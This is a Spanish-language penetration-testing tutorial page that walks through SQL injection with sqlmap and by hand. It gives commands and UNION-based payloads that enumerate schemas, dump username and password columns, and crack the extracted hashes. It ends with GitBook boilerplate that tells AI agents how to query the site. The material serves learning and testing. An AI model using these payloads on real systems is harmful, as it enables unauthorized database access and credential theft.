> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).

# Inyección SQL con SQLMap y pruebas manuales

{% hint style="info" %}
Un **Inyección SQL** es una vulnerabilidad de seguridad en aplicaciones web que ocurre cuando se insertan consultas SQL maliciosas en campos de entrada para manipular una base de datos subyacente. Esto permite a un atacante acceder, modificar o filtrar datos no autorizados. Herramientas como SQLMap automatizan este proceso al identificar y explotar estas vulnerabilidades, realizando inyecciones SQL de manera automatizada. Alternativamente, los atacantes también pueden realizar ataques de inyección SQL manualmente, manipulando directamente las entradas para obtener acceso no autorizado a la base de datos.
{% endhint %}

## Inyección SQL automatizada (SQLMap)

1. Interpretemos una solicitud de búsqueda con Burp Suite:

<figure><img src="/files/2c637876fe7519e2a9cad8d3497e9f526c5c4db5" alt=""><figcaption></figcaption></figure>

2. Guardemos esta solicitud en un archivo que llamaremos **request.req**:

<figure><img src="/files/70e58b1d658326b1af60f936eb7ef59b1e83572a" alt="" width="563"><figcaption></figcaption></figure>

3. El archivo contiene los siguientes **contenidos**:

<figure><img src="/files/21775f111e66da5a5f2d31553366879a12761081" alt="" width="563"><figcaption></figcaption></figure>

4. Con la **SQLMap** herramienta, ejecutemos el siguiente comando para ver si este sitio web es **vulnerable** a un **ataque SQL**:

```bash
sqlmap -r request.req  -p searchitem --batch  
```

<figure><img src="/files/d37861b30589a14c55ccb5b3721ce9e611d40728" alt=""><figcaption></figcaption></figure>

5. Con este comando, vamos a listar todas las **bases de datos**:

```bash
sqlmap -r request.req  -p searchitem --batch --dbs
```

<figure><img src="/files/1cfa15345cfdc3dde2060ac4c22cb84f67f5f8ab" alt="" width="563"><figcaption></figcaption></figure>

6. Con este comando, vamos a listar todas las **tablas** de una base de datos específica:

```bash
sqlmap -r request.req  -p searchitem --batch -D "database_name" --tables
```

<figure><img src="/files/1e6c3e0ee9234c5b7d3e2fd41960c38a65008de2" alt="" width="563"><figcaption></figcaption></figure>

7. Con este comando, vamos a listar todas las **columnas** de una tabla específica:

```bash
sqlmap -r request.req  -p searchitem --batch -T "table_name" --columns
```

<figure><img src="/files/0b8beaf96fe6cd752f99b771a922875c3e8429e7" alt=""><figcaption></figcaption></figure>

8. Con este comando, vamos a visualizar el **contenidos** contenido de las columnas:

```bash
sqlmap -r request.req  -p searchitem --batch -T users -C username,password --dump
```

*Si la herramienta encuentra contraseñas cifradas, las descifra automáticamente*:

<figure><img src="/files/3b52bc367c7bd0a0f0a9f832922f4ed8ff28a584" alt="" width="563"><figcaption></figcaption></figure>

***

## Inyección SQL manual

1. Interpretemos una solicitud de búsqueda con Burp Suite:

<figure><img src="/files/2c637876fe7519e2a9cad8d3497e9f526c5c4db5" alt=""><figcaption></figcaption></figure>

2. Envía esta solicitud a **Repeater**:
3. En el **searchitem** campo de búsqueda, añade esto:

```bash
test' order by 100-- -
```

4. El servidor web nos dice que hay **no tantas columnas**:

<figure><img src="/files/90d34007fd7c42bb4255362c643c6950b47e3f8a" alt="" width="563"><figcaption></figcaption></figure>

5. Intentemos **hasta que no quede nada** (en este caso, hay 5 columnas):

<figure><img src="/files/ae4deffd78bfc1c93dd26e2a673d7b43d3c012fe" alt="" width="563"><figcaption></figcaption></figure>

6. Ahora sabemos que hay **5 columnas**, ahora con la **unión** función, vamos a **visualizarlas** :

```arduino
test' union select 1,2,3,4,5-- -
```

<figure><img src="/files/236a8a5a6372f5f03479278b0f2abc5ee10278d1" alt="" width="563"><figcaption></figcaption></figure>

* En caso de **cambiar el nombre** de la 3.ª columna, por ejemplo "test", también **cambiará**:

<figure><img src="/files/84877751c405504b33c410ee4d1c480bb2b1785d" alt="" width="563"><figcaption></figcaption></figure>

7. Esto significa que si introducimos la **database()** o **user()** función, el **nombre de la base de datos** o el **nombre de usuario que ejecuta la base de datos** se mostrará:

<figure><img src="/files/c1b2b6bad37d0a5d7b0e81408502db3b8780ed2a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/240124903a9db9a1618984d44cf18f07a218efaa" alt="" width="563"><figcaption></figcaption></figure>

**A CONTINUACIÓN SE MUESTRA EL PROCEDIMIENTO PARA EL LISTADO MANUAL:**

1. Vamos a listar todas las **bases de datos**:

```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="/files/2e7079d29e2acb5d1f724369f2923958ba20d2f7" alt=""><figcaption></figcaption></figure>

2. Vamos a listar todas **tablas** de una base de datos específica:

```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```

<figure><img src="/files/343215967b7c24fe9545339286d86a9a59a32a9a" alt=""><figcaption></figcaption></figure>

3. Vamos a listar todas **columnas** de una tabla específica:

```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```

<figure><img src="/files/8bf7ce5246cc1925dad048637709a00803dee97c" alt=""><figcaption></figcaption></figure>

4. Vamos a visualizar el **contenido de las columnas username y password** (en este caso, usamos las columnas "product name" y "product type"):

```arduino
test' union select 1,username,password,4,5 from users-- -
```

<figure><img src="/files/6ded61973a3d1632d79bb5a319b5467703862643" alt=""><figcaption></figcaption></figure>

* Vamos a listar los **contenido de las columnas username y password** de nuevo:

```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="/files/059220cac872414a5efa055f37a4e045a5ff84ba" alt=""><figcaption></figcaption></figure>

5. **Copiemos el contenido** a la sección Pretty de Burp Suite:

<div data-full-width="true"><figure><img src="/files/04fff12ece6a856428befce8ddf3c6e66f77f69e" alt=""><figcaption></figcaption></figure></div>

6. Abramos el **Nvim** editor de texto y peguemos el texto copiado; luego usemos este comando para formatearlo correctamente: `:%s/,//r/g`
7. Con este comando, vamos a conservar solo los hashes y copiarlos al **portapapeles**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`

<figure><img src="/files/7ab57941cddbfe3630ce90504c51c9fa48228ab5" alt="" width="563"><figcaption></figcaption></figure>

8. Finalmente, con el [Hashes.com](https://hashes.com/en/decrypt/hash) sitio web, obtén las contraseñas en **texto plano**:

<figure><img src="/files/0b7718f18353a49b3551263b94b4a92c529d448c" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
